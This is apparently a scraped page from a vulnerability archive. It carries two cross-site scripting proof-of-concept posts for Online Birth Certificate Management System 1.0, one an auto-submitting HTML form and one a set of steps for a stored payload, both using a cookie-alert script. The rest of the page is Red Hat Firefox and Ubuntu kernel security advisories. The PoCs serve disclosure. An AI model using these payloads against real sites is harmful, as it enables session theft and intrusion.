Online Birth Certificate Management System version 1.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: Online Birth Certificate Management System - Cross Site Scripting (XSS) Reflected POST# Google Dork: N/A# Date: 2022-9-27# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11# Vendor Homepage: https://www.sourcecodester.com/php/15683/online-birth-certificate-management-system-php-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/OBCMS.zip# Tested on: windows 11 - XAMPP# CVE : N/A# Version: 1.0# no token in update profile admin<html>    <head>        <title> search recoder </title>    </head>    <body>        <form action="http://localhost/OBCMS/admin/search.php" method="post" enctype="multipart/form-data">            <input type="hidden" name="searchdata" value="<script>alert(document.cookie);</script>">            <button class="btn btn-sm btn-primary login-submit-cs" type="submit" name="search">search</button>        </form>    </body></html></html>

Online Birth Certificate Management System 1.0 Cross Site Scripting

Red Hat Security Advisory 2022-6700-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 102.3.0 ESR. Issues addressed include a bypass vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:6700-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6700  
Issue date:        2022-09-26  
CVE Names:         CVE-2022-40956 CVE-2022-40957 CVE-2022-40958   
                   CVE-2022-40959 CVE-2022-40960 CVE-2022-40962   
=====================================================================

1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 9) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 102.3.0 ESR.

Security Fix(es):

* Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
(CVE-2022-40959)

* Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
(CVE-2022-40960)

* Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3  
(CVE-2022-40962)

* Mozilla: Bypassing Secure Context restriction for cookies with __Host and  
__Secure prefix (CVE-2022-40958)

* Mozilla: Content-Security-Policy base-uri bypass (CVE-2022-40956)

* Mozilla: Incoherent instruction cache when building WASM on ARM64  
(CVE-2022-40957)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2128792 - CVE-2022-40959 Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
2128793 - CVE-2022-40960 Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
2128794 - CVE-2022-40958 Mozilla: Bypassing Secure Context restriction for cookies with __Host and __Secure prefix  
2128795 - CVE-2022-40956 Mozilla: Content-Security-Policy base-uri bypass  
2128796 - CVE-2022-40957 Mozilla: Incoherent instruction cache when building WASM on ARM64  
2128797 - CVE-2022-40962 Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3

6. Package List:

Red Hat Enterprise Linux AppStream (v. 9):

Source:  
firefox-102.3.0-6.el9_0.src.rpm

aarch64:  
firefox-102.3.0-6.el9_0.aarch64.rpm  
firefox-debuginfo-102.3.0-6.el9_0.aarch64.rpm  
firefox-debugsource-102.3.0-6.el9_0.aarch64.rpm

ppc64le:  
firefox-102.3.0-6.el9_0.ppc64le.rpm  
firefox-debuginfo-102.3.0-6.el9_0.ppc64le.rpm  
firefox-debugsource-102.3.0-6.el9_0.ppc64le.rpm

s390x:  
firefox-102.3.0-6.el9_0.s390x.rpm  
firefox-debuginfo-102.3.0-6.el9_0.s390x.rpm  
firefox-debugsource-102.3.0-6.el9_0.s390x.rpm

x86_64:  
firefox-102.3.0-6.el9_0.x86_64.rpm  
firefox-debuginfo-102.3.0-6.el9_0.x86_64.rpm  
firefox-debugsource-102.3.0-6.el9_0.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-40956  
https://access.redhat.com/security/cve/CVE-2022-40957  
https://access.redhat.com/security/cve/CVE-2022-40958  
https://access.redhat.com/security/cve/CVE-2022-40959  
https://access.redhat.com/security/cve/CVE-2022-40960  
https://access.redhat.com/security/cve/CVE-2022-40962  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYzH0g9zjgjWX9erEAQi/KA//ZzK9nVVUCVg7lC1rep2cJtZ5GT59QqlP  
QGuCkAnW8O05DBBjHnBIMLhioph2GFGw/A4oBxWijtZXshI5GB/AdQ70GJsbrYJ6  
V7zOE/AO3QOZIWytLjm1wamuIAy2q0ffHVPXuMFyLQ7iU+1RjzEEZOALzVm8p67s  
9mxnDTchhaq+ebDkmYk3qsS83WtQwCIhvz5gu+pXbbAzt9dGg/qc0i+QVedZ0cZX  
LxvbO2F28q/NnjPEmJAWVXgG8HgR7QjmBrVGzYWMOfmXG94sVYCp/dyQy/tOHL6t  
LUZexJJwwihGpveSEDv2KiIfk7IdzSUS93yCL1k0PcU6vvRh8QR977jHYEcpHOrW  
7EsVF+0wUHde9AYaJWfNxGHOWLVbKVR4J1jHZNnfU9eFzeZcRQzXqUPy57mX6yVY  
2n7wE7J34A4Py7lH0QsZzTY0tW0ByL0WXrX63vrij5sugr4LlIZOJcf6xEPeL79A  
YS9Ggc11KvNpMZ0/9fI8fvbP3GMX+QWUWU7f6KI5LBloi+/aRE8+jx9hYtZwtTmV  
tOEqqX5T0ZMvlvEHjdeTM5SpjeInZqS/EbVArWwFjWeprKhz5prtsyApKgHXlRRw  
J1DrNnRvBAAsb5MTzn3zQMHxrl2LwujdKzEZDL2QOEOOybHu+tKGhLB1r7kVpKoZ  
q9To96uLFnE=  
=GZRD  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6700-01

Red Hat Security Advisory 2022-6701-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 102.3.0 ESR. Issues addressed include a bypass vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:6701-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6701  
Issue date:        2022-09-26  
CVE Names:         CVE-2022-40956 CVE-2022-40957 CVE-2022-40958   
                   CVE-2022-40959 CVE-2022-40960 CVE-2022-40962   
=====================================================================

1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.4  
Extended Update Support.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream EUS (v.8.4) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 102.3.0 ESR.

Security Fix(es):

* Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
(CVE-2022-40959)

* Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
(CVE-2022-40960)

* Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3  
(CVE-2022-40962)

* Mozilla: Bypassing Secure Context restriction for cookies with __Host and  
__Secure prefix (CVE-2022-40958)

* Mozilla: Content-Security-Policy base-uri bypass (CVE-2022-40956)

* Mozilla: Incoherent instruction cache when building WASM on ARM64  
(CVE-2022-40957)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2128792 - CVE-2022-40959 Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
2128793 - CVE-2022-40960 Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
2128794 - CVE-2022-40958 Mozilla: Bypassing Secure Context restriction for cookies with __Host and __Secure prefix  
2128795 - CVE-2022-40956 Mozilla: Content-Security-Policy base-uri bypass  
2128796 - CVE-2022-40957 Mozilla: Incoherent instruction cache when building WASM on ARM64  
2128797 - CVE-2022-40962 Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3

6. Package List:

Red Hat Enterprise Linux AppStream EUS (v.8.4):

Source:  
firefox-102.3.0-6.el8_4.src.rpm

aarch64:  
firefox-102.3.0-6.el8_4.aarch64.rpm  
firefox-debuginfo-102.3.0-6.el8_4.aarch64.rpm  
firefox-debugsource-102.3.0-6.el8_4.aarch64.rpm

ppc64le:  
firefox-102.3.0-6.el8_4.ppc64le.rpm  
firefox-debuginfo-102.3.0-6.el8_4.ppc64le.rpm  
firefox-debugsource-102.3.0-6.el8_4.ppc64le.rpm

s390x:  
firefox-102.3.0-6.el8_4.s390x.rpm  
firefox-debuginfo-102.3.0-6.el8_4.s390x.rpm  
firefox-debugsource-102.3.0-6.el8_4.s390x.rpm

x86_64:  
firefox-102.3.0-6.el8_4.x86_64.rpm  
firefox-debuginfo-102.3.0-6.el8_4.x86_64.rpm  
firefox-debugsource-102.3.0-6.el8_4.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-40956  
https://access.redhat.com/security/cve/CVE-2022-40957  
https://access.redhat.com/security/cve/CVE-2022-40958  
https://access.redhat.com/security/cve/CVE-2022-40959  
https://access.redhat.com/security/cve/CVE-2022-40960  
https://access.redhat.com/security/cve/CVE-2022-40962  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYzH0edzjgjWX9erEAQhqBQ/6Ak5GcRn6T8IHAXY/o/+AtiO4v468xq31  
CtcUN4PhJLFaW71flbYmwM80wjUGzUwme6ZMJTTdL4frq45XeUhGMXm7RxXdD/6l  
8xXe/d2/C/KOSNFbnhMsGcBt2VHIFkZsbCSvKq9yX5nUByvYZ8hMYek9DtNDZIHt  
oCt4rUXHVcr/WQHg0TBIy/EnUoD60Fn/TlXNMEYXRzY40WMw28JEsPwQGKecjqxl  
YXmRiPtoCUjqM50hPL37meSeDwGLV7c/vxGZ3yTTQQSx9mm8ylvnV+eiE3UFKPy6  
dF1/ldIdfkzJB9YzbIUxfU4nGYMwdUXxp+hRtjU+/cNBt68PGbN9EUywZ8/Nhi2W  
ukJTdOMfW3FrzgC+sUAL+M2pCVOE3edXUlc6s+uHjkzuoYK7mt8gLwqZrjGslYKf  
71trCB56dBZlc2S+g39XqZVu4NWyUwHWEC74gNztDrJPfKlcSs7hkFTkzPST7nJf  
lkmkrRd1ElQrHx4U8xdPPdEh6Cdb4jdyfBcJuiPc/ISlB4/3McYwS75sZ6ko/9BF  
UPDHyrQR5lwV20MpCHptfFHWFS4T3Fp7cF+Oup5v2y7HoZccDaY2UkLIxJgf0ioT  
XtUVXOJpHfrqkVCbgIHW3/5nJL8qibPj0jQz4+cOv2Zkq3QQ9zfGj96BHou8Im0T  
cEMEwtK16iE=  
=7F+k  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6701-01

Ubuntu Security Notice 5640-1 - It was discovered that the framebuffer driver on the Linux kernel did not verify size limits when changing font or screen size, leading to an out-of- bounds write. A local attacker could use this to cause a denial of service or possibly execute arbitrary code. Duoming Zhou discovered that race conditions existed in the timer handling implementation of the Linux kernel's Rose X.25 protocol layer, resulting in use-after-free vulnerabilities. A local attacker could use this to cause a denial of service.

==========================================================================  
Ubuntu Security Notice USN-5640-1  
September 26, 2022

linux-oracle vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 22.04 LTS

Summary:

Several security issues were fixed in the Linux kernel.

Software Description:  
- linux-oracle: Linux kernel for Oracle Cloud systems

Details:

It was discovered that the framebuffer driver on the Linux kernel did not  
verify size limits when changing font or screen size, leading to an out-of-  
bounds write. A local attacker could use this to cause a denial of service  
(system crash) or possibly execute arbitrary code. (CVE-2021-33655)

Duoming Zhou discovered that race conditions existed in the timer handling  
implementation of the Linux kernel's Rose X.25 protocol layer, resulting in  
use-after-free vulnerabilities. A local attacker could use this to cause a  
denial of service (system crash). (CVE-2022-2318)

Roger Pau Monné discovered that the Xen virtual block driver in the Linux  
kernel did not properly initialize memory pages to be used for shared  
communication with the backend. A local attacker could use this to expose  
sensitive information (guest kernel memory). (CVE-2022-26365)

Roger Pau Monné discovered that the Xen paravirtualization frontend in the  
Linux kernel did not properly initialize memory pages to be used for shared  
communication with the backend. A local attacker could use this to expose  
sensitive information (guest kernel memory). (CVE-2022-33740)

It was discovered that the Xen paravirtualization frontend in the Linux  
kernel incorrectly shared unrelated data when communicating with certain  
backends. A local attacker could use this to cause a denial of service  
(guest crash) or expose sensitive information (guest kernel memory).  
(CVE-2022-33741, CVE-2022-33742)

Jan Beulich discovered that the Xen network device frontend driver in the  
Linux kernel incorrectly handled socket buffers (skb) references when  
communicating with certain backends. A local attacker could use this to  
cause a denial of service (guest crash). (CVE-2022-33743)

Oleksandr Tyshchenko discovered that the Xen paravirtualization platform in  
the Linux kernel on ARM platforms contained a race condition in certain  
situations. An attacker in a guest VM could use this to cause a denial of  
service in the host OS. (CVE-2022-33744)

It was discovered that the virtio RPMSG bus driver in the Linux kernel  
contained a double-free vulnerability in certain error conditions. A local  
attacker could possibly use this to cause a denial of service (system  
crash). (CVE-2022-34494, CVE-2022-34495)

Domingo Dirutigliano and Nicola Guerrera discovered that the netfilter  
subsystem in the Linux kernel did not properly handle rules that truncated  
packets below the packet header size. When such rules are in place, a  
remote attacker could possibly use this to cause a denial of service  
(system crash). (CVE-2022-36946)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 22.04 LTS:  
   linux-image-5.15.0-1018-oracle  5.15.0-1018.23  
   linux-image-oracle              5.15.0.1018.16

After a standard system update you need to reboot your computer to make  
all the necessary changes.

ATTENTION: Due to an unavoidable ABI change the kernel updates have  
been given a new version number, which requires you to recompile and  
reinstall all third party kernel modules you might have installed.  
Unless you manually uninstalled the standard kernel metapackages  
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,  
linux-powerpc), a standard system upgrade will automatically perform  
this as well.

References:  
   https://ubuntu.com/security/notices/USN-5640-1  
   CVE-2021-33655, CVE-2022-2318, CVE-2022-26365, CVE-2022-33740,  
   CVE-2022-33741, CVE-2022-33742, CVE-2022-33743, CVE-2022-33744,  
   CVE-2022-34494, CVE-2022-34495, CVE-2022-36946

Package Information:  
   https://launchpad.net/ubuntu/+source/linux-oracle/5.15.0-1018.23

Ubuntu Security Notice USN-5640-1

Online Birth Certificate Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

**Online Birth Certificate Management System 1.0 Cross Site Scripting**

Posted Sep 27, 2022

Authored by Yousef Alraddadi

Online Birth Certificate Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 7e9852e1ba3b10ed9809857eace8d6e330d1f9d7306d8b2d80c0851d85229f86

Download | Favorite | View

**Online Birth Certificate Management System 1.0 Cross Site Scripting**

    # Exploit Title: Online Birth Certificate Management System - Stored Cross-Site Scripting (XSS)# Google Dork: N/A# Date: 2022-9-27# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11# Vendor Homepage: https://www.sourcecodester.com/php/15683/online-birth-certificate-management-system-php-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/OBCMS.zip# Tested on: windows 11 - XAMPP# CVE : N/A# Version: 1.0Vulnerability Details======================Steps :1) Log in to the application after register new userUsername: testPassword: 123452) Navigate to Birth Reg Form and Click on Add Details.3) add full name payload => <script>alert(document.cookie);</script>4) and all field enter payload only Contact Number enter number

**File Tags**

*   ActiveX (932)
*   Advisory (78,276)
*   Arbitrary (15,276)
*   BBS (2,859)
*   Bypass (1,598)
*   CGI (1,013)
*   Code Execution (6,771)
*   Conference (671)
*   Cracker (799)
*   CSRF (3,277)
*   DoS (22,065)
*   Encryption (2,340)
*   Exploit (50,129)
*   File Inclusion (4,160)
*   File Upload (945)
*   Firewall (821)
*   Info Disclosure (2,565)
*   Intrusion Detection (861)
*   Java (2,823)
*   JavaScript (808)
*   Kernel (6,156)
*   Local (14,093)
*   Magazine (586)
*   Overflow (12,252)
*   Perl (1,413)
*   PHP (5,057)
*   Proof of Concept (2,284)
*   Protocol (3,350)
*   Python (1,406)
*   Remote (29,862)
*   Root (3,466)
*   Ruby (581)
*   Scanner (1,630)
*   Security Tool (7,737)
*   Shell (3,077)
*   Shellcode (1,203)
*   Sniffer (883)
*   Spoof (2,123)
*   SQL Injection (16,057)
*   TCP (2,369)
*   Trojan (682)
*   UDP (872)
*   Virus (660)
*   Vulnerability (30,657)
*   Web (9,114)
*   Whitepaper (3,723)
*   x86 (943)
*   XSS (17,396)
*   Other

**File Archives**

*   September 2022
*   August 2022
*   July 2022
*   June 2022
*   May 2022
*   April 2022
*   March 2022
*   February 2022
*   January 2022
*   December 2021
*   November 2021
*   October 2021
*   Older

**Systems**

*   AIX (426)
*   Apple (1,899)
*   BSD (369)
*   CentOS (55)
*   Cisco (1,915)
*   Debian (5,948)
*   Fedora (1,690)
*   FreeBSD (1,242)
*   Gentoo (4,207)
*   HPUX (878)
*   iOS (323)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (42,923)
*   Mac OS X (684)
*   Mandriva (3,105)
*   NetBSD (255)
*   OpenBSD (478)
*   RedHat (12,009)
*   Slackware (941)
*   Solaris (1,607)
*   SUSE (1,444)
*   Ubuntu (8,027)
*   UNIX (9,115)
*   UnixWare (185)
*   Windows (6,473)
*   Other

Red Hat Security Advisory 2022-6702-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 102.3.0 ESR. Issues addressed include a bypass vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:6702-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6702  
Issue date:        2022-09-26  
CVE Names:         CVE-2022-40956 CVE-2022-40957 CVE-2022-40958   
                   CVE-2022-40959 CVE-2022-40960 CVE-2022-40962   
=====================================================================

1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 102.3.0 ESR.

Security Fix(es):

* Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
(CVE-2022-40959)

* Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
(CVE-2022-40960)

* Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3  
(CVE-2022-40962)

* Mozilla: Bypassing Secure Context restriction for cookies with __Host and  
__Secure prefix (CVE-2022-40958)

* Mozilla: Content-Security-Policy base-uri bypass (CVE-2022-40956)

* Mozilla: Incoherent instruction cache when building WASM on ARM64  
(CVE-2022-40957)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2128792 - CVE-2022-40959 Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
2128793 - CVE-2022-40960 Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
2128794 - CVE-2022-40958 Mozilla: Bypassing Secure Context restriction for cookies with __Host and __Secure prefix  
2128795 - CVE-2022-40956 Mozilla: Content-Security-Policy base-uri bypass  
2128796 - CVE-2022-40957 Mozilla: Incoherent instruction cache when building WASM on ARM64  
2128797 - CVE-2022-40962 Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
firefox-102.3.0-6.el8_6.src.rpm

aarch64:  
firefox-102.3.0-6.el8_6.aarch64.rpm  
firefox-debuginfo-102.3.0-6.el8_6.aarch64.rpm  
firefox-debugsource-102.3.0-6.el8_6.aarch64.rpm

ppc64le:  
firefox-102.3.0-6.el8_6.ppc64le.rpm  
firefox-debuginfo-102.3.0-6.el8_6.ppc64le.rpm  
firefox-debugsource-102.3.0-6.el8_6.ppc64le.rpm

s390x:  
firefox-102.3.0-6.el8_6.s390x.rpm  
firefox-debuginfo-102.3.0-6.el8_6.s390x.rpm  
firefox-debugsource-102.3.0-6.el8_6.s390x.rpm

x86_64:  
firefox-102.3.0-6.el8_6.x86_64.rpm  
firefox-debuginfo-102.3.0-6.el8_6.x86_64.rpm  
firefox-debugsource-102.3.0-6.el8_6.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-40956  
https://access.redhat.com/security/cve/CVE-2022-40957  
https://access.redhat.com/security/cve/CVE-2022-40958  
https://access.redhat.com/security/cve/CVE-2022-40959  
https://access.redhat.com/security/cve/CVE-2022-40960  
https://access.redhat.com/security/cve/CVE-2022-40962  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYzH0b9zjgjWX9erEAQjsCA//RRcwMcwRGfgQ9cAGMZ3ba3+kMmPoAxTP  
NkvTCyngoO+dEnyUWyOBW5VjdHW4Oswj8ZwQyW2JDBhvgveh7+5UOpjSOy242cJ/  
3etJgTwowzzD0LbwooeYHn4n/GDTlLJyZ0m0EE8agAnxYqDKElQ6mGhkSeayueuq  
gc4s+R0J2p7eiEZ5Wng5JuDLjNoGbblYkHoQcEeIhC4vyOwsDkDwKLWkWyiO55H8  
k2i+ZV/ae8f/rvui43qMShUTxS/8UtWFTvdVQeGP4sS39oi0tFBH75gsSW8Xy0zE  
A9JxAIjisdrIMlAyg2s44eMef2vQUxSYpwlPsJ7LIumtOmG6Wz3TTViz2fWnqxdP  
iZMENdC6YHW+abLlYQreRoYP5a2HtqmTkX5j1B30wsmJnhSNByJ0YLcDRXedIKtG  
2toV40uX/ECoLqeD1Xm0RP2AHaUABkxhjT7FNBHTSCeV8y4+JFpIIZR8hbSg0eho  
m47FitR2dRmCyA7EI5TUD05lzumBLRQGd5ULvgdZMdIffV46gX9iwTXTxERI48Dg  
6WsJ59cwjyGeWHUeG/pIGJxW+jh+bdAK/CUvMhidzgx5FCb/IEXTKANhzSPyZ5ro  
a3+jGPtroycoaOvMuc6bTjkMzF88EXCucDdBba5tTfs0z8ho5ZqEoSFpYiAafqaf  
2qaEr+QRDNk=  
=IkCE  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6702-01

Red Hat Security Advisory 2022-6703-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 102.3.0 ESR. Issues addressed include a bypass vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:6703-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6703  
Issue date:        2022-09-26  
CVE Names:         CVE-2022-40956 CVE-2022-40957 CVE-2022-40958   
                   CVE-2022-40959 CVE-2022-40960 CVE-2022-40962   
=====================================================================

1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.1  
Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream E4S (v. 8.1) - ppc64le, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 102.3.0 ESR.

Security Fix(es):

* Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
(CVE-2022-40959)

* Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
(CVE-2022-40960)

* Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3  
(CVE-2022-40962)

* Mozilla: Bypassing Secure Context restriction for cookies with __Host and  
__Secure prefix (CVE-2022-40958)

* Mozilla: Content-Security-Policy base-uri bypass (CVE-2022-40956)

* Mozilla: Incoherent instruction cache when building WASM on ARM64  
(CVE-2022-40957)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2128792 - CVE-2022-40959 Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
2128793 - CVE-2022-40960 Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
2128794 - CVE-2022-40958 Mozilla: Bypassing Secure Context restriction for cookies with __Host and __Secure prefix  
2128795 - CVE-2022-40956 Mozilla: Content-Security-Policy base-uri bypass  
2128796 - CVE-2022-40957 Mozilla: Incoherent instruction cache when building WASM on ARM64  
2128797 - CVE-2022-40962 Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3

6. Package List:

Red Hat Enterprise Linux AppStream E4S (v. 8.1):

Source:  
firefox-102.3.0-6.el8_1.src.rpm

ppc64le:  
firefox-102.3.0-6.el8_1.ppc64le.rpm  
firefox-debuginfo-102.3.0-6.el8_1.ppc64le.rpm  
firefox-debugsource-102.3.0-6.el8_1.ppc64le.rpm

x86_64:  
firefox-102.3.0-6.el8_1.x86_64.rpm  
firefox-debuginfo-102.3.0-6.el8_1.x86_64.rpm  
firefox-debugsource-102.3.0-6.el8_1.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-40956  
https://access.redhat.com/security/cve/CVE-2022-40957  
https://access.redhat.com/security/cve/CVE-2022-40958  
https://access.redhat.com/security/cve/CVE-2022-40959  
https://access.redhat.com/security/cve/CVE-2022-40960  
https://access.redhat.com/security/cve/CVE-2022-40962  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYzH0YtzjgjWX9erEAQiFCg/6A22FZMDDiBFcw5xxNzawSZ7L4bdBC/QX  
CnYtzed0BFF4irQctN2nkvYJV3E6mWYKUnO1brqyixlnZtk8mjo97CgNoijEM6JP  
mA2qNRleC6KNU4mmz0GWwkJqz/iIWQ78X6CV7AnZSOQQrMh0cT743jO/+/bf/QW8  
NGSlLtYDdAkv6u/Nwdzp3VnzCO8IJFz2kQ7txIATnyw2eEUAlEXfkkPPGCCtIVuL  
23eVFQndO1rB1qblx3jsO/43xtyBoiMsf5UKJGitRLhWOV6/Z4w2Hk+L7i55N7sy  
FRFyvmJ76TefD5ymIoKDi3EN7tIEdOs1ousR6rbNljH1DF/czQliMRm/u2WdKUkL  
UfBEDT924UABK5wPOg6uaponT9GlOTW1jXaQsyDi+nLmxHV6I1l8kuY+d63VHeOs  
N0kcV00oq4FRPURc99wJAjo0uosY0Wm6elQJBTT0F20UMoaPtXDWFka+bp35lT02  
ufWuxsN8550DL/6lx6TePGQ0Z84NKY4FUnmy59Xbct7lCUyBewnZwme0VMK57a4+  
8WfDgLdk/rc0eLPjvwuEIoh6wqfocEh63Wy62imzo1QeDm25NAnH7VXzpXH2PMwF  
